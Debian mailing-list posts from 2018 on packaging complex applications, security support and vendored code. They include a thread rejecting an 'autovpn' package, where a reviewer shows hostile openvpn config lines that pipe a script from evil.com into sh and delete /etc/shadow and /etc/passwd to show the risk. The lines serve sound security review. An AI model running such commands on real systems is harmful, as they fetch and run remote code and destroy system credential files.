Re: What can Debian do to provide complex applications to its users?
On 2018-02-18 22:53, Adrian Bunk wrote: In the year 2018, any kind of "properly maintain" includes security support. Please elaborate how Debian can provide security support for packages like gitlab and all their dependencies in buster until mid-2022. If Debian cannot provide security support for the lifetime of a stable Debian release, it is better for our users when they are installing the software from upstream with the security support provided by upstream. Putting security support over all else is surely how some people see it. But some upstreams also complain if you are going to ship ancient versions because the most recent ones contain all of the fixes. It's certainly more work to validate security fixes when backporting them to older versions. So it's also the "stable" guarantee (whatever it is seen as) that might need some re-adjustment. One of the values is that you get some set of software that works together as a base and doesn't change, but then people install software on top of it that provides their service and if it's actually the thing they want to provide it's most likely not packaged anymore at this point. Because you'd want the latest features of the product you're using. So there's already a disconnect of essentially two tracks: the system's base at a solid version and whatever it is you want to offer at a fast moving pace. That's also a reality in 2018. And coming up with arbitrary deadlines of support are not all that helpful. Users don't care if the ancient version of the software they need in stable is security supported until mid-2022. If it doesn't satisfy their requirements anymore, they move to testing or to another distribution. Kind regards Philipp Kern
Re: What can Debian do to provide complex applications to its users?
On Sat, 17 Feb 2018 at 02:11 Raphael Hertzog wrote: > I'm sure we are missing lots of good applications due to our requirements. > What can we do to avoid this? > [...] > What do you think? Do you have other ideas? Are there other persons > who are annoyed by the current situation? > I'd like to start this with, I don't have an answer. However it is annoying! I have wordpress that ships some javascript libraries purely because the ones in Debian are ancient or not packaged. Ideally I'd like to use to just depend on some other packages but the problem is, is the javascript library shipped by wordpress the same as the upstream? Certainly dh_linktree (thanks Raphael!) help here, but its a problem I don't want to encounter. Then I have another program. It's written in C++ so most of that side of things is fine, but it uses Lua plugins and this is where the drama starts. I just ship with the embedded ones, because version control of the (hypothetical) lua library packages and syncing it with whatever arbitary version of the library the program needs is hard. Finally, for programs I write and use myself, if its a C program I'm pretty sure I'll find what I need for libraries, but in other languages not so much. In the ancient days, we used to have some of these problems with binaries and shared libraries. Then newer, for their time, distributions such as Debian came in with versioned dependencies between the binary and the library. That didn't help when upstream used their own hacky un-maintained for years version of some library but it caught most of the cases. So, perhaps there needs to be a new way for some of these newer packaging methods. I don't think we can say package all the things, even Debian has its limits. - Craig -- Craig Small https://dropbear.xyz/ csmall at : dropbear.xyz Debian GNU/Linuxhttps://www.debian.org/ csmall at : debian.org Mastodon: @smalls...@social.dropbear.xyz Twitter: @smallsees GPG fingerprint: 5D2F B320 B825 D939 04D2 0519 3938 F96B DF50 FEA5
Re: What can Debian do to provide complex applications to its users?
> > Who said we cannot properly maintain this stuff? And where do you > > think our expected level of quality (whatever that is) will not be > > reached? > > In the year 2018, any kind of "properly maintain" includes security > support. Indeed it does, but not necessarily the way we handle it now. > Please elaborate how Debian can provide security support for > packages > like gitlab and all their dependencies in buster until mid-2022. > > If Debian cannot provide security support for the lifetime of a > stable > Debian release, it is better for our users when they are installing > the > software from upstream with the security support provided by > upstream. Maybe you answered your question yourself. How about we tie our security support to upstream's? Instead of fixing and backporting ourselves we promise our users that this section of the archive will get upstream's latest fixes even if that means the version number changes. This way the users would get a lot of benefits from using Debian but no drawback compared to the self-installed alternative. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice
Package: wnpp Severity: wishlist Owner: Michael Meskes * Package name: autovpn Version : 0.0~git20170129.72dd7f6-1 Upstream Author : Adhityaa C * URL : https://github.com/adtac/autovpn * License : GPL V3 Programming Lang: Go Description : Connect to a VPN in a country of your choice autovpn is a tool to automatically connect you to a random VPN in a country of your choice. It uses openvpn to connect you to a server obtained from VPN Gate (http://www.vpngate.net/en/). A small tool that comes handy in particular for people who travel a lot. Will be maintained in the go-team. Michael
Re: Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice
> Version : 0.0~git20170129.72dd7f6-1 > Upstream Author : Adhityaa C > * URL : https://github.com/adtac/autovpn .. > autovpn is a tool to automatically connect you to a random VPN > in a country of your choice. It uses openvpn to connect you to a server > obtained from VPN Gate (http://www.vpngate.net/en/). I'd strongly urge you to reconsider packaging this project, for three main reasons: * It relies upon the external VPNGate.net site/service. If this goes away in the lifetime of a stable Debian release users will be screwed. * It allows security attacks against the local system, which other users on the host could exploit via symlink attacks on /tmp/openvpnconf * It allows security attacks on against the local system which the remote service could exploit: 1. The tool downloads a remote URL to /tmp/openvpnconf 2. The file is then given as an argument to the command: sudo openvpn /tmp/openvpnconf 3. That generated/downloaded openvpn configuration file could be written to do anything, up to and including `rm -rf /`. > A small tool that comes handy in particular for people who travel a lot. Will > be maintained in the go-team. Finally the project itself notes: "This is completely insecure. Please do not use this for anything important. Get a real and secure VPN. This is mostly a fun tool to get a VPN for a few minutes." Steve --
Re: Updating the Maintainer field in preparation for Alioth's shutdown?
Hi, On Sat, 17 Feb 2018, Andreas Tille wrote: > > I know this, but this specific sub-thread was for the case if the team > > has gotten a list on lists.debian.org (so with public archives already). > > Using the tracker team for automated mail only is fine. > > I have something like ftpmaster REJECT mails in mind. This is not > really automated and perfectly belongs to the maintainers list. What is > your opinion about this kind of mails (and its responsed). REJECT mails, just like ACCEPT, are useful information that should go through the package tracker so that all parties involved have the data. Obviously when you reply to a REJECT mail as a maintainer then it's not going to go through the package tracker, but you could keep f...@packages.debian.org in copy to ensure this. Cheers, -- Raphaël Hertzog ◈ Debian Developer Support Debian LTS: https://www.freexian.com/services/debian-lts.html Learn to master Debian: https://debian-handbook.info/get/
Re: Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice
> I'd strongly urge you to reconsider packaging this project, for > three main reasons: > > * It relies upon the external VPNGate.net site/service. If this > goes away in the lifetime of a stable Debian release users will > be screwed. That is actually a good point. I wonder if using a local copy might be a good alternative. > * It allows security attacks against the local system, which other > users on the host could exploit via symlink attacks on > /tmp/openvpnconf True, but this could be handled by using a better system to access a temp file. > * It allows security attacks on against the local system which the > remote service could exploit: > > 1. The tool downloads a remote URL to /tmp/openvpnconf > > 2. The file is then given as an argument to the command: > sudo openvpn /tmp/openvpnconf > > 3. That generated/downloaded openvpn configuration file could >be written to do anything, up to and including `rm -rf /`. Can you actually get openvpn to do this? > Finally the project itself notes: > > "This is completely insecure. Please do not use this for anything > important. Get a real and secure VPN. This is mostly a fun tool > to > get a VPN for a few minutes." I read this not as "insecure for the system it runs on" but "insecure on the connection side". This is certainly not something you should use to open your local network to, or to do something illegal. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice
On Mon Feb 19, 2018 at 12:44:40 +0100, Michael Meskes wrote: > > * It relies upon the external VPNGate.net site/service. If this > > goes away in the lifetime of a stable Debian release users will > > be screwed. > > That is actually a good point. I wonder if using a local copy might be > a good alternative. If you're willing to maintain such a list, resyncing it every few days/months to reap dead-entries and add new ones then that would be good. > > * It allows security attacks against the local system, which other > > users on the host could exploit via symlink attacks on > > /tmp/openvpnconf > > True, but this could be handled by using a better system to access a > temp file. Sure. If you changed the code to use ioutil.TempFile, or some other secure alternative that specific objection will go away. > > 1. The tool downloads a remote URL to /tmp/openvpnconf > > > > 2. The file is then given as an argument to the command: > > sudo openvpn /tmp/openvpnconf > > > > 3. That generated/downloaded openvpn configuration file could > >be written to do anything, up to and including `rm -rf /`. > > Can you actually get openvpn to do this? Yes. For example these snippets will do what you fear they will: script-security 2 up curl http://evil.com/root-me.sh | sh up rm /etc/shadow down rm -f /etc/passwd > I read this not as "insecure for the system it runs on" but "insecure > on the connection side". This is certainly not something you should use > to open your local network to, or to do something illegal. As per the insecure fixed name, and the execution of commands from a remote HTTP-site (not even SSL!) I think it is insecure in all regards. Also I guess you'll need to change the script to remove "sudo", or better yet add a restricted user with sudo's nopasswd setup for it (shudder). Steve -- https://www.steve.org.uk/
Re: What can Debian do to provide complex applications to its users?
On Mon, Feb 19, 2018 at 10:21:18AM +0100, Michael Meskes wrote: Maybe you answered your question yourself. How about we tie our security support to upstream's? Instead of fixing and backporting ourselves we promise our users that this section of the archive will get upstream's latest fixes even if that means the version number changes. Because eventually a future version will come out that doesn't work with the stable base, at which point we suddenly stop supporting the package. That's much worse than just admitting up front that we can't support the package for the next 4 years. Mike Stone
Re: What can Debian do to provide complex applications to its users?
On Fri, 16 Feb 2018, W. Martin Borgert wrote: > Is was a relevant part of the problem mentioned in Raphaels bug > report: Minified JS libraries without source code. this was one > of the starting points of this discussion. (#890598) It's not "without source code", it's just that the source code of a single .min.js is not another non-minified javascript file but a whole git repository that you can't just drop near the .min.js file to please lintian. And building ourselves the non-minified file together with the corresponding minified file is just too time-consuming on the long term when you rely on dozens of libraries. Cheers, -- Raphaël Hertzog ◈ Debian Developer Support Debian LTS: https://www.freexian.com/services/debian-lts.html Learn to master Debian: https://debian-handbook.info/get/
Re: Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice
On Mon, Feb 19, 2018 at 10:49:40AM +, Steve Kemp wrote: I'd strongly urge you to reconsider packaging this project, for three main reasons: It's almost a case study of why we don't need to package everything in the whole world... Mike Stone
Re: What can Debian do to provide complex applications to its users?
Holger wrote: >On Sat, Feb 17, 2018 at 11:14:51PM +, Colin Watson wrote: >> * Constrained to the sort of server-side applications that might >>reasonably be run in a container on their own, just to keep the >>problem size down a bit. > >why this contraint, there are more and more desktop application written in >node... Oh dear $deity, why? -- Steve McIntyre, Cambridge, UK.st...@einval.com "Every time you use Tcl, God kills a kitten." -- Malcolm Ray
Re: What can Debian do to provide complex applications to its users?
On Sat, 17 Feb 2018, Russ Allbery wrote: > The reason why Debian in general doesn't like to support vendored source > is because of the security implications: when there's a security > vulnerability in one of the vendored libraries, updating the relevant > packages becomes a nightmare. It's a logistical challenge even if the > vendored source can be safely upgraded, but of course it usually can't > since that's the whole point of vendoring the source. So we would be > faced with backporting security fixes to every vendored version of the > package, and we don't have the resources to do this. We might not have the resources to do this but we should have the infrastructure to track those problems, make them available to upstream, and get them to fix their vendored libraries. And let users decide whether it's safe to install or not, and track the security status over time. I don't agree that "vendored sources" cannot be safely upgraded. It really depends on the reason why the source has been vendored. When it's a deliberate fork, then yes the upgrade might be hard. But more often than not, it's just a convenience to avoid system dependencies or a simple way to ensure that the project has the version that they expect. Furthermore many projects have continuous integration tools that let them know whether things are still working after the update (be it because they switched to latest upstream of all their dependencies, or because they upgraded a library that they had vendored). > It's hard to avoid the feeling that we have two choices with these sorts > of applications: I think Debian has never been afraid of tackling hard problems and we should find a third way. I don't want to lower the quality of what we have built so far, so while it's technically possible to build .deb and include a bundle of libraries pinned at the correct version, I don't think that this should allowed into the main archive. However I also think that Debian has to provide all those hard-to-package applications to end users. Right now, my gut feeling is that the best approach is probably to rely on containers built out of Debian binary packages for the plumbing and with the language-specific package management tool for the application libraries. The role of the Debian developer is then to maintain a recipe file that is used to build the container (and future updated versions) and to provide some integration with the host to export/import data out of the application (think backup/restore). Since Debian would start to provide many containers like those, we would likely also start to build infrastructure to manage those containers, including some way to identify security vulnerabilities present in the container and a lintian for containers. And we would draft a policy for how to manage an application in a container, etc. Our core value is here and we can still provide value to our users in the new world that is emerging around us. We should just stop to be afraid of it. Cheers, -- Raphaël Hertzog ◈ Debian Developer Support Debian LTS: https://www.freexian.com/services/debian-lts.html Learn to master Debian: https://debian-handbook.info/get/
Re: What can Debian do to provide complex applications to its users?
On Mon, Feb 19, 2018 at 9:51 PM, Raphael Hertzog wrote: > I don't want to lower the quality of what we have built so far, so while > it's technically possible to build .deb and include a bundle of libraries > pinned at the correct version, I don't think that this should allowed into > the main archive. The "not allowing embedded code copies in the main archive" ship has sailed: https://salsa.debian.org/security-tracker-team/security-tracker/raw/master/data/embedded-code-copies https://wiki.debian.org/EmbeddedCodeCopies -- bye, pabs https://wiki.debian.org/PaulWise
Re: What can Debian do to provide complex applications to its users?
On Fri, 16 Feb 2018, Jonathan Carter (highvoltage) wrote: > > - we could relax our requirements and have a way to document the > > limitations of those packages (wrt our usual policies) > > Which requirements are you referring to? If it's relaxing the need for > source for minified javascript, then no thanks. Instead of requiring the source to be provided in the source package as a non-minified file, we could require the packager to document in debian/README.source where the upstream sources actually are. When I was maintaining wordpress, I introduced the idea of providing debian/missing-sources/ to comply with the Debian policy. I would just dump there the upstream tarball of the bundled libraries to be sure that we have the source for the correct version. The Debian/ftpmaster rules are respected but it's not really better than the above because you still don't have a simple way to rebuild a modified version of the javascript library shipped in the package. So instead of ugly work-arounds, it might be better to just acknowledge that we can't have the same level of support for all applications. > > - we could ship those applications not as .deb but as container > > and let them have their own lifecycle > > What would this solve and how will it solve it? Those applications could rely on the package manager of their ecosystem to setup the dependencies as they need them without polluting the host system. Cheers, -- Raphaël Hertzog ◈ Debian Developer Support Debian LTS: https://www.freexian.com/services/debian-lts.html Learn to master Debian: https://debian-handbook.info/get/
Re: What can Debian do to provide complex applications to its users?
Raphael Hertzog, on lun. 19 févr. 2018 15:19:59 +0100, wrote: > On Fri, 16 Feb 2018, Jonathan Carter (highvoltage) wrote: > > > - we could relax our requirements and have a way to document the > > > limitations of those packages (wrt our usual policies) > > > > Which requirements are you referring to? If it's relaxing the need for > > source for minified javascript, then no thanks. > > Instead of requiring the source to be provided in the source package as a > non-minified file, we could require the packager to document in > debian/README.source where the upstream sources actually are. But what if that upstream website goes down? We don't have the source any more. Better at least keep a copy of the tarball. Samuel
Re: What can Debian do to provide complex applications to its users?
> I think Debian has never been afraid of tackling hard problems and we > should find a third way. > > I don't want to lower the quality of what we have built so far, so while > it's technically possible to build .deb and include a bundle of libraries > pinned at the correct version, I don't think that this should allowed into > the main archive. > > However I also think that Debian has to provide all those hard-to-package > applications to end users. Right now, my gut feeling is that the best > approach is probably to rely on containers built out of Debian > binary packages for the plumbing and with the language-specific package > management tool for the application libraries. The role of the Debian > developer is then to maintain a recipe file that is used to build the > container (and future updated versions) and to provide some integration > with the host to export/import data out of the application (think > backup/restore). Since Debian would start to provide many containers like > those, we would likely also start to build infrastructure to manage those > containers, including some way to identify security vulnerabilities > present in the container and a lintian for containers. And we would draft > a policy for how to manage an application in a container, etc. If we do this, we need to security-track the application libraries in language-specific tools (e.g. pip), what are we dropping in quality /work compared to auto-packaging from the language? while we don't typically want to package 10,000 python packages for the sake of it, if we need pyfoo (1.2) and are tracking it for security anyway, perhaps we should write script python auto-packaging scripts,etc. (Presuming licenses are automatically managed - taking license info from pip / github, etc). > Our core value is here and we can still provide value to our users in > the new world that is emerging around us. We should just stop to be afraid > of it. -- Alastair McKinstry, , , https://diaspora.sceal.ie/u/amckinstry Commander Vimes didn’t like the phrase “The innocent have nothing to fear,” believing the innocent had everything to fear, mostly from the guilty but in the longer term even more from those who say things like “The innocent have nothing to fear.” - T. Pratchett, Snuff
Re: What can Debian do to provide complex applications to its users?
On Mon, 19 Feb 2018, Paul Wise wrote: > On Mon, Feb 19, 2018 at 9:51 PM, Raphael Hertzog wrote: > > > I don't want to lower the quality of what we have built so far, so while > > it's technically possible to build .deb and include a bundle of libraries > > pinned at the correct version, I don't think that this should allowed into > > the main archive. > > The "not allowing embedded code copies in the main archive" ship has sailed: > https://salsa.debian.org/security-tracker-team/security-tracker/raw/master/data/embedded-code-copies > https://wiki.debian.org/EmbeddedCodeCopies I know this but at least you have the sources in the source package. I was referring to things like what I did in Kali for metasploit, it's a ruby application. The .deb ships the metasploit code (available in the source package) but also all the ruby libraries in a directory created with "bundle install --vendor" and this includes lots of stuff... plain ruby code but also binary extensions compiled on other systems and made available as ready-to-download gems. Sources: http://git.kali.org/gitweb/?p=packages/metasploit-framework.git;a=shortlog;h=refs/heads/kali/master Binary packages: https://http.kali.org/pool/main/m/metasploit-framework/ Cheers, -- Raphaël Hertzog ◈ Debian Developer Support Debian LTS: https://www.freexian.com/services/debian-lts.html Learn to master Debian: https://debian-handbook.info/get/
Re: What can Debian do to provide complex applications to its users?
On Mon, Feb 19, 2018 at 03:19:59PM +0100, Raphael Hertzog wrote: > Instead of requiring the source to be provided in the source package as a > non-minified file, we could require the packager to document in > debian/README.source where the upstream sources actually are. Ie, it'd be fine to ship pre-built C libraries as long as some non-buildable sources were once placed at website X? -- An imaginary friend squared is a real enemy.
Re: What can Debian do to provide complex applications to its users?
On 19/02/2018 14:28, Samuel Thibault wrote: > Raphael Hertzog, on lun. 19 févr. 2018 15:19:59 +0100, wrote: >> On Fri, 16 Feb 2018, Jonathan Carter (highvoltage) wrote: - we could relax our requirements and have a way to document the limitations of those packages (wrt our usual policies) >>> Which requirements are you referring to? If it's relaxing the need for >>> source for minified javascript, then no thanks. >> Instead of requiring the source to be provided in the source package as a >> non-minified file, we could require the packager to document in >> debian/README.source where the upstream sources actually are. > But what if that upstream website goes down? We don't have the source > any more. Better at least keep a copy of the tarball. I second this, for multiple reasons. If we go to a 'container capturing a non-Debian build' approach we should always capture the sources involved - for security tracking at least. e.g. Maven for Java seems to be particularly bad at pulling JARs and other components randomly, often over HTTP not HTTPS and without signatures, etc. Gradle even does which is scary. One step towards a fully proper Debian build and packaging is an infrastructure to at least capture all the sources involved in containers and track them. > Samuel Alastair -- Alastair McKinstry, , , https://diaspora.sceal.ie/u/amckinstry Commander Vimes didn’t like the phrase “The innocent have nothing to fear,” believing the innocent had everything to fear, mostly from the guilty but in the longer term even more from those who say things like “The innocent have nothing to fear.” - T. Pratchett, Snuff
Re: What can Debian do to provide complex applications to its users?
On Mon, 19 Feb 2018, Samuel Thibault wrote: > Raphael Hertzog, on lun. 19 févr. 2018 15:19:59 +0100, wrote: > > On Fri, 16 Feb 2018, Jonathan Carter (highvoltage) wrote: > > > > - we could relax our requirements and have a way to document the > > > > limitations of those packages (wrt our usual policies) > > > > > > Which requirements are you referring to? If it's relaxing the need for > > > source for minified javascript, then no thanks. > > > > Instead of requiring the source to be provided in the source package as a > > non-minified file, we could require the packager to document in > > debian/README.source where the upstream sources actually are. > > But what if that upstream website goes down? We don't have the source > any more. Better at least keep a copy of the tarball. Sure. But as a packager, I don't want to have to do this manually. So one possible idea might be to extend our copyright file format. We should be able to put there the URL for the sources of something that has been embedded in the application and some debian.org service would ensure that we keep a publicly-accessible copy of all those sources for as long as we want them. BTW we could also rely on our copyright file to document the fact that we have vendored copies of some software. Cheers, -- Raphaël Hertzog ◈ Debian Developer Support Debian LTS: https://www.freexian.com/services/debian-lts.html Learn to master Debian: https://debian-handbook.info/get/
Re: What can Debian do to provide complex applications to its users?
On Mon, Feb 19, 2018 at 02:51:31PM +0100, Raphael Hertzog wrote: Our core value is here and we can still provide value to our users in the new world that is emerging around us. We should just stop to be afraid of it. I'd argue that what people should stop being afraid of is just using a third party package if that's the optimal solution. Mike Stone
Re: What can Debian do to provide complex applications to its users?
On Mon, Feb 19, 2018 at 09:52:57AM -0500, Michael Stone wrote: > I'd argue that what people should stop being afraid of is just using a third > party package if that's the optimal solution. +1 -- cheers, Holger signature.asc Description: PGP signature
Re: What can Debian do to provide complex applications to its users?
Raphael Hertzog, on lun. 19 févr. 2018 15:52:14 +0100, wrote: > On Mon, 19 Feb 2018, Samuel Thibault wrote: > > But what if that upstream website goes down? We don't have the source > > any more. Better at least keep a copy of the tarball. > > Sure. But as a packager, I don't want to have to do this manually. So > one possible idea might be to extend our copyright file format. We should > be able to put there the URL for the sources of something that has been > embedded in the application Or simply some debian/rules lines, so that it's at the time of the packaging? (like the common get-orig rule) Samuel
Re: CUPS GPL → Apache license change, how to proceed?
(Adding d-legal)
Didier 'OdyX' Raboud writes ("CUPS GPL → Apache license change, how to
proceed?"):
> tl,dr; CUPS has moved from "GPL-2.0 with AOSDL exception" to
> "Apache-2.0"; how should the license incompatibilities be enforced?
This reply is going to be annoying, I fear:
> Some questions at this point (Some for FTP Masters, CC'ed):
> - Does Debian hold the view that Apache-2.0 and GPL-2.0-only dynamic linking
> is unacceptable for Debian main? In both directions?
I think the answer is "yes, we think that is unacceptable".
ftpmaster seem rarely to reply to these kind of questions. If you
actually want the answer, I suggest you:
- search for existing cases and see if they got REJECTed or ACCEPTted
- upload and see
:-/
> - Can CUPS link against GPL-2-only code?
> - Can GPL-2-only code link against CUPS?
I don't understand how these are different to the previous question.
> - Whose reponsibility is it to check for these incompatibilities, and make
> sure they are not shipped in Debian?
I think (and this is my personal opinion) that a licence
incompatibility is a bug in the depending package, and it is the
responsibility of the depending package maintainer.
> - What tools should I be using to identify which of these will be
> undistributable constructs?
I'm not aware of any useful tools and I hope someone else will be
able to help.
> Aka: how, given a list of source
> packages, can I determine which are GPL-2-only in the codepaths that
> link against CUPS? - What fields could I / should I use in src:cups
> to enforce these? I was initially thinking of setting versionless
> Breaks: in each src:cups' library against the identified GPL-2-only
> culprits, then mass-filing bugs against these, promising to add
> version constraints when/if the licensing issue gets lifted. Does
> that sound like a good way forward?
I guess. It seems like a lot of work, and the cups transition would
be blocked.
You might instead consider simply filing bugs against the
dependencies, and setting a deadline by which they will be escalated
to RC. You will want to discuss this with the release team.
Good luck.
Ian.
Re: What can Debian do to provide complex applications to its users?
On വെള്ളി 16 ഫെബ്രുവരി 2018 08:41 വൈകു, Raphael Hertzog wrote: > - while gitlab is packaged in Debian, its packaging took years and the > result is brittle because it can break in many ways whenever one the > dozens of dependencies gets updated to some new upstream version > (BTW salsa.debian.org does not use the official package) I maintain complex packages like gitlab and diaspora and I agree about the amount of work required. But the reason why library updates break can be improved by two steps. 1. Enable functionality tests for all dependencies (we already have pretty good test coverage and that should be increased). 2. Find out about possible breakages before the upload. This can be achieved by using scripts like build-and-upload which runs autopkgtests of all reverse dependencies and rebuilds all reverse dependencies. Unfortunately use of this script is not wide spread yet and we need to include it in a commonly used package like devscripts. Many if the recent breakages could have been avoided if the uploaders used this option. 3. When introducing a breaking change, we need to help upstreams to move to the new version along with us. This is not different from how we handle transitions, but the number of transitions will increase. > I'm sure we are missing lots of good applications due to our requirements. > What can we do to avoid this? I think the situation regarding javascript have improved largely in last two years. It took me more than 2 years to get handlebars in debian because none of the build tools were packaged. Now with many common build tools like grunt, gulp, webpack, rollup, babel etc packaged, the effort required to package a new library has significantly reduced (a complex library like react took only a fraction of time required for handlebars). I believe this will encourage more people to start maintaining javascript libraries as the barrier of entry has been reduced significantly. Case before two years was reverse engineering the build system using tools like sed, which is not the case now. As for the number of packages to maintain is very large, I realized it would be hard for me to maintain these long dependencies alone, so I have been aggressively seeking and mentoring more people to maintain packages. I have organized countless offline and online packaging sessions. I have reasonable success (compared to the effort I put in) and hope to continue those efforts. We not only have to get more people to package, but since upstream is not listening to us, we need to get more people to help with fixing upstream compatibility issues too. I have got some very good help from people like Shanavas, Jishnu, Aruna and Harish to make upstream compatible with the library versions we have in debian (moving handlebars to babel 6 and webpack 3, moving many libraries to chai 4, adding global library support to grunt, etc to name a few). They have been helping with node specific issue and got upstream to accept pull requests. In other pending cases, even though they don't help us, they are willing to take pull requests. Also I have decided to package a module only if a at least two packages depend on it, which will speed up the process and also reduce the load on ftp masters (please help ftp masters review the long queue if you can). See https://salsa.debian.org/js-team/node-ava/tree/master/debian/node_modules (some of those currently embedded there will need to be packaged separately because they are generated files. But if a module is pure es5 and required only for one module it could be embedded. Also in newer nodejs versions we may be able to do this with es6 modules too). signature.asc Description: OpenPGP digital signature
A few questions about building Debian-Based Distro
Hey Debian Developers! I have a few questions about making a Debian-Based Distro 1.Do you make a ISO of Debian without anything installed?, Just the base Operating System, I need this as I want to make my Debian-Based Distro 2.While Rebranding Debian, What are the files I have to re brand?. Also will I fall under any issues if I distribute it for free? (Of course I will be crediting Debian and it's creators) 3.If I did rebrand Debian, Will the Operating system have errors installing .Deb files?
Re: What can Debian do to provide complex applications to its users?
> Because eventually a future version will come out that doesn't work > with > the stable base, at which point we suddenly stop supporting the > package. > That's much worse than just admitting up front that we can't support > the > package for the next 4 years. Let's agree to disagree. I find it perfectly fine if we told people up front that we support it as long as upstream has a version that works with the stable base. They are still better or at least not worse of with that than with a self-installed one. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
On Mon, Feb 19, 2018 at 07:03:04PM +0100, Michael Meskes wrote: Because eventually a future version will come out that doesn't work with the stable base, at which point we suddenly stop supporting the package. That's much worse than just admitting up front that we can't support the package for the next 4 years. Let's agree to disagree. I find it perfectly fine if we told people up front that we support it as long as upstream has a version that works with the stable base. They are still better or at least not worse of with that than with a self-installed one. Why? With the self-installed one they know up front that they need to set up some kind of infrastructure to maintain it and can make an informed decision about whether they want to take that on. How is it better to think you have a debian supported install but in fact have to come up with the very infrastructure you avoided on an emergency basis at some point in the future? Mike Stone
Re: What can Debian do to provide complex applications to its users?
On Fri, Feb 16, 2018 at 08:18:13PM +0100, Samuel Thibault wrote: > W. Martin Borgert, on ven. 16 févr. 2018 18:59:21 +0100, wrote: >... > > This is very much a web application problem. Other software is > > less affected in my experience. > > Sure. But the current world is more and more focused on web > applications. That's not a good justification for doing something if it doesn't fit into Debian. > If we disconnect from the current world, we'll have a hard > time attracting new people to maintain Debian on the long run. >... In the current world Debian[1] has an 8 digit userbase on the Raspberry Pi. These are existing Debian users, and the Raspberry Pi ecosystem is culturally much closer to Debian than the JS universe. If you (or anyone else) wants to spend effort on attracting new people to maintain Debian, the Raspberry Pi ecosystem would be the more logical choice here. > Samuel cu Adrian [1] and the Debian derivative Raspbian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed
Re: Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice
> Yes. For example these snippets will do what you fear they will: > > script-security 2 > up curl http://evil.com/root-me.sh | sh > up rm /etc/shadow > down rm -f /etc/passwd I just looked into the code myself and have to say you got me convinces. I rescind my ITP and close the report again. Ah, would have made some things easier, but I guess I don't want to use this program either. Thanks. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael at xmpp dot meskes dot org VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: What can Debian do to provide complex applications to its users?
On Mon, Feb 19, 2018 at 07:03:04PM +0100, Michael Meskes wrote: > > Because eventually a future version will come out that doesn't work > > with > > the stable base, at which point we suddenly stop supporting the > > package. > > That's much worse than just admitting up front that we can't support > > the > > package for the next 4 years. > > Let's agree to disagree. I find it perfectly fine if we told people up > front that we support it as long as upstream has a version that works > with the stable base. They are still better or at least not worse of > with that than with a self-installed one. They are not. Ideally Debian should provide and support the software, but support that might suddenly go away without any clear option forward is the worst option Debian could offer. What is the user supposed to do when Debian announces that some software essential for that user is no longer supported in the stable release the user is using? At that point the options for the user are either to continue using software that might already have known grave vulnerabilities, or to do a rushed attempt trying to find some way to self-install an upstream version that is still supported. This is clearly worse than using a self-installed version from the start, which gives the user the knowledge how to use the self-installed version (that might differ from how Debian provides the software) and gives a clear picture from the start when upgrades to new major versions will have to be planned. > Michael cu Adrian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed
Re: What can Debian do to provide complex applications to its users?
On Sun, Feb 18, 2018 at 11:47:52PM +0100, Vincent Bernat wrote: > ❦ 18 février 2018 23:53 +0200, Adrian Bunk : > > >> Who said we cannot properly maintain this stuff? And where do you > >> think our expected level of quality (whatever that is) will not be > >> reached? > > > > In the year 2018, any kind of "properly maintain" includes security support. > > > > Please elaborate how Debian can provide security support for packages > > like gitlab and all their dependencies in buster until mid-2022. > > > > If Debian cannot provide security support for the lifetime of a stable > > Debian release, it is better for our users when they are installing the > > software from upstream with the security support provided by upstream. > > Debian is not only about security support. We provide packages without > security support. We also have backports that come without security > support either. This is still better than installing random packages > made by random people which may or may not integrate properly into > Debian. The software might integrate properly into Debian - and allow everyone on the internet to take control of your computer. On the server side we are talking about software like Node.js or gitlab. On the desktop side the MUA that comes with our default desktop renders HTML emails using a web engine that is not security supported by Debian. An example what "no security support" means in practice: If you are running Debian stable and haven't yet installed the LibreOffice security updates Debian published a few days ago, then opening a document is sufficient to make LibreOffice silently send your gpg and ssh private keys to whatever server the author of that document wants - no dialog, no warnings, you won't notice. If Debian would provide LibreOffice without security support, how many of our users would have been aware of this problem? cu Adrian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed
Re: What can Debian do to provide complex applications to its users?
